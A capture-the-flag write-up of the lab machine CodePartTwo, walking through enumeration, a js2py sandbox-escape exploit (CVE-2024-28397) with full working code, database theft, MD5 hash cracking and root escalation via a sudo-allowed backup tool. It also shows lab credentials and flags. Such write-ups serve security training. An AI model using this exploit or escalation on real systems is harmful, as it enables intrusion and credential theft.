This machine was retired yesterday, so I decided to publish my writeup the day after.

CodePartTwo is an easy machine, which runs a Flask web app vulnerable to RCE due to an outdated and vulnerable library it uses. Once exploited we can dump and crack the registered users' passwords hashes (MD5). That gives us a SSH access, along with the User Flag. Retrieving the Root Flag exploits a weakness in a backup utility the user has root access over (via sudo).

First, enum:

mairon $ rustscan -a 10.129.9.19 --ulimit 5000 -- -A -sCV -oN rustscan.txt
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Port scanning: Because every port has a story to tell.

[~] The config file is expected to be at "/home/gkroon/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.9.19:22
Open 10.129.9.19:8000
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A -sCV -oN rustscan.txt" on ip 10.129.9.19
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-30 09:33 +0100
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 09:33
Completed NSE at 09:33, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 09:33
Completed NSE at 09:33, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 09:33
Completed NSE at 09:33, 0.00s elapsed
Initiating Ping Scan at 09:33
Scanning 10.129.9.19 [2 ports]
Completed Ping Scan at 09:33, 0.01s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 09:33
Completed Parallel DNS resolution of 1 host. at 09:33, 12.52s elapsed
DNS resolution of 1 IPs took 12.52s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 5, CN: 0]
Initiating Connect Scan at 09:33
Scanning 10.129.9.19 [2 ports]
Discovered open port 22/tcp on 10.129.9.19
Discovered open port 8000/tcp on 10.129.9.19
Completed Connect Scan at 09:33, 0.01s elapsed (2 total ports)
Initiating Service scan at 09:33
Scanning 2 services on 10.129.9.19
Completed Service scan at 09:33, 6.09s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.9.19.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 09:33
Completed NSE at 09:33, 0.48s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 09:33
Completed NSE at 09:33, 0.06s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 09:33
Completed NSE at 09:33, 0.00s elapsed
Nmap scan report for 10.129.9.19
Host is up, received conn-refused (0.011s latency).
Scanned at 2026-01-30 09:33:42 CET for 7s

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnwmWCXCzed9BzxaxS90h2iYyuDOrE2LkavbNeMlEUPvMpznuB9cs8CTnUenkaIA8RBb4mOfWGxAQ6a/nmKOea1FA6rfGG+fhOE/R1g8BkVoKGkpP1hR2XWbS3DWxJx3UUoKUDgFGSLsEDuW1C+ylg8UajGokSzK9NEg23WMpc6f+FORwJeHzOzsmjVktNrWeTOZthVkvQfqiDyB4bN0cTsv1mAp1jjbNnf/pALACTUmxgEemnTOsWk3Yt1fQkkT8IEQcOqqGQtSmOV9xbUmv6Y5ZoCAssWRYQ+JcR1vrzjoposAaMG8pjkUnXUN0KF/AtdXE37rGU0DLTO9+eAHXhvdujYukhwMp8GDi1fyZagAW+8YJb8uzeJBtkeMo0PFRIkKv4h/uy934gE0eJlnvnrnoYkKcXe+wUjnXBfJ/JhBlJvKtpLTgZwwlh95FJBiGLg5iiVaLB2v45vHTkpn5xo7AsUpW93Tkf+6ezP+1f3P7tiUlg3ostgHpHL5Z9478=
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBErhv1LbQSlbwl0ojaKls8F4eaTL4X4Uv6SYgH6Oe4Y+2qQddG0eQetFslxNF8dma6FK2YGcSZpICHKuY+ERh9c=
|   256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEJovaecM3DB4YxWK2pI7sTAv9PrxTbpLG2k97nMp+FM
8000/tcp open  http    syn-ack Gunicorn 20.0.4
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: gunicorn/20.0.4
|_http-title: Welcome to CodePartTwo
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 09:33
Completed NSE at 09:33, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 09:33
Completed NSE at 09:33, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 09:33
Completed NSE at 09:33, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.56 seconds

Browsing to the HTTP 8000 port reveals a web page:

10.129.9.19 8000

Moreover, there’s also an open registration function and I made an account and then logged in:

10.129.9.19 8000 dashboard

I also tried SQLi on the login function (just in case), but to no avail. Anyway, this seems to provide a way to run JS code on the web page. It also allows to save JS code server side, retrieve it, and run it again. That might be an attack vector, but not sure how yet (JS is client side).

I then ran Gobuster:

mairon 5m 34s $ gobuster dir --url http://10.129.9.19:8000 --wordlist /usr/share/seclists/Discovery/We
b-Content/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.9.19:8000
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
dashboard            (Status: 302) [Size: 199] [--> /login]
download             (Status: 200) [Size: 10708]
login                (Status: 200) [Size: 667]
logout               (Status: 302) [Size: 189] [--> /]
register             (Status: 200) [Size: 651]
Progress: 4751 / 4751 (100.00%)
===============================================================
Finished
===============================================================

That download hit is rather large, and it spat back an app.zip file, which seems to be the source code of this web app.

The app/app.py file provides some nice insights:

from flask import Flask, render_template, request, redirect, url_for, session, jsonify, send_from_directory
from flask_sqlalchemy import SQLAlchemy
import hashlib
import js2py
import os
import json

js2py.disable_pyimport()
app = Flask(__name__)
app.secret_key = 'S3cr3tK3yC0d3PartTw0'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    password_hash = db.Column(db.String(128), nullable=False)

class CodeSnippet(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
    code = db.Column(db.Text, nullable=False)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/dashboard')
def dashboard():
    if 'user_id' in session:
        user_codes = CodeSnippet.query.filter_by(user_id=session['user_id']).all()
        return render_template('dashboard.html', codes=user_codes)
    return redirect(url_for('login'))

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        password_hash = hashlib.md5(password.encode()).hexdigest()
        new_user = User(username=username, password_hash=password_hash)
        db.session.add(new_user)
        db.session.commit()
        return redirect(url_for('login'))
    return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        password_hash = hashlib.md5(password.encode()).hexdigest()
        user = User.query.filter_by(username=username, password_hash=password_hash).first()
        if user:
            session['user_id'] = user.id
            session['username'] = username;
            return redirect(url_for('dashboard'))
        return "Invalid credentials"
    return render_template('login.html')

@app.route('/logout')
def logout():
    session.pop('user_id', None)
    return redirect(url_for('index'))

@app.route('/save_code', methods=['POST'])
def save_code():
    if 'user_id' in session:
        code = request.json.get('code')
        new_code = CodeSnippet(user_id=session['user_id'], code=code)
        db.session.add(new_code)
        db.session.commit()
        return jsonify({"message": "Code saved successfully"})
    return jsonify({"error": "User not logged in"}), 401

@app.route('/download')
def download():
    return send_from_directory(directory='/home/app/app/static/', path='app.zip', as_attachment=True)

@app.route('/delete_code/<int:code_id>', methods=['POST'])
def delete_code(code_id):
    if 'user_id' in session:
        code = CodeSnippet.query.get(code_id)
        if code and code.user_id == session['user_id']:
            db.session.delete(code)
            db.session.commit()
            return jsonify({"message": "Code deleted successfully"})
        return jsonify({"error": "Code not found"}), 404
    return jsonify({"error": "User not logged in"}), 401

@app.route('/run_code', methods=['POST'])
def run_code():
    try:
        code = request.json.get('code')
        result = js2py.eval_js(code)
        return jsonify({'result': result})
    except Exception as e:
        return jsonify({'error': str(e)})

if __name__ == '__main__':
    with app.app_context():
        db.create_all()
    app.run(host='0.0.0.0', debug=True)

We now know the following:

  • This is a Flask web app;

  • We got our hands on a hard-coded password: S3cr3tK3yC0d3PartTw0;

  • It uses a sqlite database users.db

  • Registered users have their passwords hashed via MD5.

The app/requirements.txt also shows the dependencies required to run this app:

flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74

That js2py version seems to be vulnerable to CVE-2024-28397, which lists a public exploit. I found a PoC that gets us RCE:

let cmd = "whoami"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for (let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if (item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if (item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

// run the command and force UTF-8 string output
let proc = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true)
let out = proc.communicate()[0].decode("utf-8")

// return a plain string (JSON-safe)
"" + out

Changing the first line to ls /home reveals a user called marco. There’s also the real users.db we can steal, for example by encoding it to base64: base64 instance/users.db This returns the base64 encoded users.db, which we can save to disk, remove all empty chars / serialise the string, and then decoding it back:

mairon $ sed -i 's/ //g' users.db.b64
mairon $ base64 -d users.db.b64 > users.db
mairon $ sqlite3 users.db "SELECT * FROM user;"
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e

We now got 2 MD5 hashes we can try to crack:

mairon $ sqlite3 users.db "SELECT * FROM user;" | cut -d '|' -f 3 > hashes.txt
mairon $ hashcat -m 0 hashes.txt /usr/share/seclists/Passwords/Leaked-Datbases/rockyou.txt.tar.gz --potfile-disable
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 7.1  Linux, Release, RELOC, LLVM 20.1.8, SLEEF, DISTRO, CUDA, POCL_DEBUG) - Platform #1 [The pocl project]
======================================================================================================================================
* Device #01: cpu-haswell-12th Gen Intel(R) Core(TM) i7-1265U, 1815/3630 MB (1815 MB allocatable), 12MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 2 digests; 2 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 515 MB (3538 MB free)

Dictionary cache hit:
* Filename..: /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz
* Passwords.: 14344383
* Bytes.....: 53291283
* Keyspace..: 14344383

649c9d65a206a75f5abe509fe128bce5:sweetangelbabylove
Approaching final keyspace - workload adjusted.


Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: hashes.txt
Time.Started.....: Fri Jan 30 10:20:06 2026 (4 secs)
Time.Estimated...: Fri Jan 30 10:20:10 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:  3574.2 kH/s (0.36ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/2 (50.00%) Digests (total), 1/2 (50.00%) Digests (new)
Progress.........: 14344383/14344383 (100.00%)
Rejected.........: 0/14344383 (0.00%)
Restore.Point....: 14344383/14344383 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: !carolinala -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Util: 20%

Started: Fri Jan 30 10:20:05 2026
Stopped: Fri Jan 30 10:20:12 2026a

Sweet, we got marco’s credential: marco:sweetangelbabylove. This works to log us in to SSH as marco and get the User Flag:

mairon 16s $ ssh -o "UserKnownHostsFile=/dev/null" marco@10.129.9.19
The authenticity of host '10.129.9.19 (10.129.9.19)' can't be established.
ED25519 key fingerprint is: SHA256:KGKFyaW9Pm7DDxZe/A8oi/0hkygmBMA8Y33zxkEjcD4
+--[ED25519 256]--+
|+ ..oo.o         |
|.B Boo...        |
|o B +E+ .        |
|.  . o.=         |
| .o + = S        |
|.. = = o         |
|o...@ o o        |
|o. =+B . o       |
|  ..++o   .      |
+----[SHA256]-----+
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.9.19' (ED25519) to the list of known hosts.
marco@10.129.9.19's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri 30 Jan 2026 09:21:01 AM UTC

  System load:           0.0
  Usage of /:            57.4% of 5.08GB
  Memory usage:          24%
  Swap usage:            0%
  Processes:             224
  Users logged in:       0
  IPv4 address for eth0: 10.129.9.19
  IPv6 address for eth0: dead:beef::250:56ff:fe94:eb83


Expanded Security Maintenance for Infrastructure is not enabled.

0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Fri Jan 30 09:21:02 2026 from 10.10.14.74
marco@codeparttwo:~$ cat user.txt
5d46e2fec573dd88767a0c09a24faa45

sudo -l reveals an interesting binary we can run as root:

marco@codeparttwo:~$ sudo -l
Matching Defaults entries for marco on codeparttwo:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marco may run the following commands on codeparttwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli
2026-01-30 09:23:42,842 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2026-01-30 09:23:42,843 :: CRITICAL :: Cannot run without configuration file.
2026-01-30 09:23:42,851 :: INFO :: ExecTime = 0:00:00.012781, finished, state is: critical.

It first needs a configuration file, which we seem to have in our home dir:

marco@codeparttwo:~$ cat npbackup.conf
conf_version: 3.0.1
audience: public
repos:
  default:
    repo_uri:
      __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
    repo_group: default_group
    backup_opts:
      paths:
      - /home/app/app/
      source_type: folder_list
      exclude_files_larger_than: 0.0
    repo_opts:
      repo_password:
        __NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
      retention_policy: {}
      prune_max_unused: 0
    prometheus: {}
    env: {}
    is_protected: false
groups:
  default_group:
    backup_opts:
      paths: []
      source_type:
      stdin_from_command:
      stdin_filename:
      tags: []
      compression: auto
      use_fs_snapshot: true
      ignore_cloud_files: true
      one_file_system: false
      priority: low
      exclude_caches: true
      excludes_case_ignore: false
      exclude_files:
      - excludes/generic_excluded_extensions
      - excludes/generic_excludes
      - excludes/windows_excludes
      - excludes/linux_excludes
      exclude_patterns: []
      exclude_files_larger_than:
      additional_parameters:
      additional_backup_only_parameters:
      minimum_backup_size_error: 10 MiB
      pre_exec_commands: []
      pre_exec_per_command_timeout: 3600
      pre_exec_failure_is_fatal: false
      post_exec_commands: []
      post_exec_per_command_timeout: 3600
      post_exec_failure_is_fatal: false
      post_exec_execute_even_on_backup_error: true
      post_backup_housekeeping_percent_chance: 0
      post_backup_housekeeping_interval: 0
    repo_opts:
      repo_password:
      repo_password_command:
      minimum_backup_age: 1440
      upload_speed: 800 Mib
      download_speed: 0 Mib
      backend_connections: 0
      retention_policy:
        last: 3
        hourly: 72
        daily: 30
        weekly: 4
        monthly: 12
        yearly: 3
        tags: []
        keep_within: true
        group_by_host: true
        group_by_tags: true
        group_by_paths: false
        ntp_server:
      prune_max_unused: 0 B
      prune_max_repack_size:
    prometheus:
      backup_job: ${MACHINE_ID}
      group: ${MACHINE_GROUP}
    env:
      env_variables: {}
      encrypted_env_variables: {}
    is_protected: false
identity:
  machine_id: ${HOSTNAME}__blw0
  machine_group:
global_prometheus:
  metrics: false
  instance: ${MACHINE_ID}
  destination:
  http_username:
  http_password:
  additional_labels: {}
  no_cert_verify: false
global_options:
  auto_upgrade: false
  auto_upgrade_percent_chance: 5
  auto_upgrade_interval: 15
  auto_upgrade_server_url:
  auto_upgrade_server_username:
  auto_upgrade_server_password:
  auto_upgrade_host_identity: ${MACHINE_ID}
  auto_upgrade_group: ${MACHINE_GROUP}

The npbackup-cli file is a Python script, which has a -c switch

marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -h
usage: npbackup-cli [-h] [-c CONFIG_FILE] [--repo-name REPO_NAME] [--repo-group REPO_GROUP] [-b] [-f]
                    [-r RESTORE] [-s] [--ls [LS]] [--find FIND] [--forget FORGET] [--policy] [--housekeeping]
                    [--quick-check] [--full-check] [--check CHECK] [--prune [PRUNE]] [--prune-max] [--unlock]
                    [--repair-index] [--repair-packs REPAIR_PACKS] [--repair-snapshots] [--repair REPAIR]
                    [--recover] [--list LIST] [--dump DUMP] [--stats [STATS]] [--raw RAW] [--init]
                    [--has-recent-snapshot] [--restore-includes RESTORE_INCLUDES] [--snapshot-id SNAPSHOT_ID]
                    [--json] [--stdin] [--stdin-filename STDIN_FILENAME] [-v] [-V] [--dry-run] [--no-cache]
                    [--license] [--auto-upgrade] [--log-file LOG_FILE] [--show-config]
                    [--external-backend-binary EXTERNAL_BACKEND_BINARY] [--group-operation GROUP_OPERATION]
                    [--create-key CREATE_KEY] [--create-backup-scheduled-task CREATE_BACKUP_SCHEDULED_TASK]
                    [--create-housekeeping-scheduled-task CREATE_HOUSEKEEPING_SCHEDULED_TASK]
                    [--check-config-file]

Portable Network Backup Client This program is distributed under the GNU General Public License and comes with
ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under certain conditions;
Please type --license for more info.

optional arguments:
  -h, --help            show this help message and exit
  -c CONFIG_FILE, --config-file CONFIG_FILE
                        Path to alternative configuration file (defaults to current dir/npbackup.conf)
  --repo-name REPO_NAME
                        Name of the repository to work with. Defaults to 'default'. This can also be a comma
                        separated list of repo names. Can accept special name '__all__' to work with all
                        repositories.
  --repo-group REPO_GROUP
                        Comme separated list of groups to work with. Can accept special name '__all__' to work
                        with all repositories.
  -b, --backup          Run a backup
  -f, --force           Force running a backup regardless of existing backups age
  -r RESTORE, --restore RESTORE
                        Restore to path given by --restore, add --snapshot-id to specify a snapshot other than
                        latest
  -s, --snapshots       Show current snapshots
  --ls [LS]             Show content given snapshot. When no snapshot id is given, latest is used
  --find FIND           Find full path of given file / directory
  --forget FORGET       Forget given snapshot (accepts comma separated list of snapshots)
  --policy              Apply retention policy to snapshots (forget snapshots)
  --housekeeping        Run --check quick, --policy and --prune in one go
  --quick-check         Deprecated in favor of --'check quick'. Quick check repository
  --full-check          Deprecated in favor of '--check full'. Full check repository (read all data)
  --check CHECK         Checks the repository. Valid arguments are 'quick' (metadata check) and 'full' (metadata
                        + data check)
  --prune [PRUNE]       Prune data in repository, also accepts max parameter in order prune reclaiming maximum
                        space
  --prune-max           Deprecated in favor of --prune max
  --unlock              Unlock repository
  --repair-index        Deprecated in favor of '--repair index'.Repair repo index
  --repair-packs REPAIR_PACKS
                        Deprecated in favor of '--repair packs'. Repair repo packs ids given by --repair-packs
  --repair-snapshots    Deprecated in favor of '--repair snapshots'.Repair repo snapshots
  --repair REPAIR       Repair the repository. Valid arguments are 'index', 'snapshots', or 'packs'
  --recover             Recover lost repo snapshots
  --list LIST           Show [blobs|packs|index|snapshots|keys|locks] objects
  --dump DUMP           Dump a specific file to stdout (full path given by --ls), use with --dump [file], add
                        --snapshot-id to specify a snapshot other than latest
  --stats [STATS]       Get repository statistics. If snapshot id is given, only snapshot statistics will be
                        shown. You may also pass "--mode raw-data" or "--mode debug" (with double quotes) to get
                        full repo statistics
  --raw RAW             Run raw command against backend. Use with --raw "my raw backend command"
  --init                Manually initialize a repo (is done automatically on first backup)
  --has-recent-snapshot
                        Check if a recent snapshot exists
  --restore-includes RESTORE_INCLUDES
                        Restore only paths within include path, comma separated list accepted
  --snapshot-id SNAPSHOT_ID
                        Choose which snapshot to use. Defaults to latest
  --json                Run in JSON API mode. Nothing else than JSON will be printed to stdout
  --stdin               Backup using data from stdin input
  --stdin-filename STDIN_FILENAME
                        Alternate filename for stdin, defaults to 'stdin.data'
  -v, --verbose         Show verbose output
  -V, --version         Show program version
  --dry-run             Run operations in test mode, no actual modifications
  --no-cache            Run operations without cache
  --license             Show license
  --auto-upgrade        Auto upgrade NPBackup
  --log-file LOG_FILE   Optional path for logfile
  --show-config         Show full inherited configuration for current repo. Optionally you can set
                        NPBACKUP_MANAGER_PASSWORD env variable for more details.
  --external-backend-binary EXTERNAL_BACKEND_BINARY
                        Full path to alternative external backend binary
  --group-operation GROUP_OPERATION
                        Deprecated command to launch operations on multiple repositories. Not needed anymore.
                        Replaced by --repo-name x,y or --repo-group x,y
  --create-key CREATE_KEY
                        Create a new encryption key, requires a file path
  --create-backup-scheduled-task CREATE_BACKUP_SCHEDULED_TASK
                        Create a scheduled backup task, specify an argument interval via interval=minutes, or
                        hour=hour,minute=minute for a daily task
  --create-housekeeping-scheduled-task CREATE_HOUSEKEEPING_SCHEDULED_TASK
                        Create a scheduled housekeeping task, specify hour=hour,minute=minute for a daily task
  --check-config-file   Check if config file is valid

There’s also an --ls switch which shows the contents of the snapshot being created with this utility:

marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c npbackup.conf --ls
2026-01-30 09:58:38,903 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2026-01-30 09:58:38,931 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf
2026-01-30 09:58:38,941 :: INFO :: Showing content of snapshot latest in repo default
2026-01-30 09:58:41,424 :: INFO :: Successfully listed snapshot latest content:
snapshot 35a4dac3 of [/home/app/app] at 2025-04-06 03:50:16.222832208 +0000 UTC by root@codetwo filtered by []:
/home
/home/app
/home/app/app
/home/app/app/__pycache__
/home/app/app/__pycache__/app.cpython-38.pyc
/home/app/app/app.py
/home/app/app/instance
/home/app/app/instance/users.db
/home/app/app/requirements.txt
/home/app/app/static
/home/app/app/static/app.zip
/home/app/app/static/css
/home/app/app/static/css/styles.css
/home/app/app/static/js
/home/app/app/static/js/script.js
/home/app/app/templates
/home/app/app/templates/base.html
/home/app/app/templates/dashboard.html
/home/app/app/templates/index.html
/home/app/app/templates/login.html
/home/app/app/templates/register.html

2026-01-30 09:58:41,424 :: INFO :: Runner took 2.483348 seconds for ls
2026-01-30 09:58:41,424 :: INFO :: Operation finished
2026-01-30 09:58:41,431 :: INFO :: ExecTime = 0:00:02.530772, finished, state is: success.

I then renamed /home/app/app/ to /root/ in the config file, and wrote it to a new npbackup-2.conf, because the original is owned by root. Then I forced a new backup / snapshot:

marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c npbackup-2.conf -bf
2026-01-30 10:00:56,004 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2026-01-30 10:00:56,032 :: INFO :: Loaded config E1057128 in /home/marco/npbackup-2.conf
2026-01-30 10:00:56,044 :: INFO :: Running backup of ['/root'] to repo default
2026-01-30 10:00:57,130 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excluded_extensions
2026-01-30 10:00:57,130 :: ERROR :: Exclude file 'excludes/generic_excluded_extensions' not found
2026-01-30 10:00:57,130 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excludes
2026-01-30 10:00:57,130 :: ERROR :: Exclude file 'excludes/generic_excludes' not found
2026-01-30 10:00:57,131 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/windows_excludes
2026-01-30 10:00:57,131 :: ERROR :: Exclude file 'excludes/windows_excludes' not found
2026-01-30 10:00:57,131 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/linux_excludes
2026-01-30 10:00:57,131 :: ERROR :: Exclude file 'excludes/linux_excludes' not found
2026-01-30 10:00:57,131 :: WARNING :: Parameter --use-fs-snapshot was given, which is only compatible with Windows
no parent snapshot found, will read all files

Files:          15 new,     0 changed,     0 unmodified
Dirs:            8 new,     0 changed,     0 unmodified
Added to the repository: 190.603 KiB (39.884 KiB stored)

processed 15 files, 197.660 KiB in 0:00
snapshot 20771019 saved
2026-01-30 10:00:58,296 :: INFO :: Backend finished with success
2026-01-30 10:00:58,298 :: INFO :: Processed 197.7 KiB of data
2026-01-30 10:00:58,298 :: ERROR :: Backup is smaller than configured minmium backup size
2026-01-30 10:00:58,299 :: ERROR :: Operation finished with failure
2026-01-30 10:00:58,299 :: INFO :: Runner took 2.256151 seconds for backup
2026-01-30 10:00:58,299 :: INFO :: Operation finished
2026-01-30 10:00:58,304 :: INFO :: ExecTime = 0:00:02.302396, finished, state is: errors.

That seems to have worked when inspecting with --ls (notice the root flag):

marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c npbackup-2.conf --ls
2026-01-30 10:01:11,406 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2026-01-30 10:01:11,434 :: INFO :: Loaded config E1057128 in /home/marco/npbackup-2.conf
2026-01-30 10:01:11,444 :: INFO :: Showing content of snapshot latest in repo default
2026-01-30 10:01:13,723 :: INFO :: Successfully listed snapshot latest content:
snapshot 20771019 of [/root] at 2026-01-30 10:00:57.142638334 +0000 UTC by root@codeparttwo filtered by []:
/root
/root/.bash_history
/root/.bashrc
/root/.cache
/root/.cache/motd.legal-displayed
/root/.local
/root/.local/share
/root/.local/share/nano
/root/.local/share/nano/search_history
/root/.mysql_history
/root/.profile
/root/.python_history
/root/.sqlite_history
/root/.ssh
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.vim
/root/.vim/.netrwhist
/root/root.txt
/root/scripts
/root/scripts/backup.tar.gz
/root/scripts/cleanup.sh
/root/scripts/cleanup_conf.sh
/root/scripts/cleanup_db.sh
/root/scripts/cleanup_marco.sh
/root/scripts/npbackup.conf
/root/scripts/users.db

2026-01-30 10:01:13,723 :: INFO :: Runner took 2.279447 seconds for ls
2026-01-30 10:01:13,723 :: INFO :: Operation finished
2026-01-30 10:01:13,730 :: INFO :: ExecTime = 0:00:02.327122, finished, state is: success.

And now we can use the --dump switch to get the Root Flag:

marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c npbackup-2.conf --dump /root/root.txt
20f0bce80c7236818f92acb2a38f6244
pwned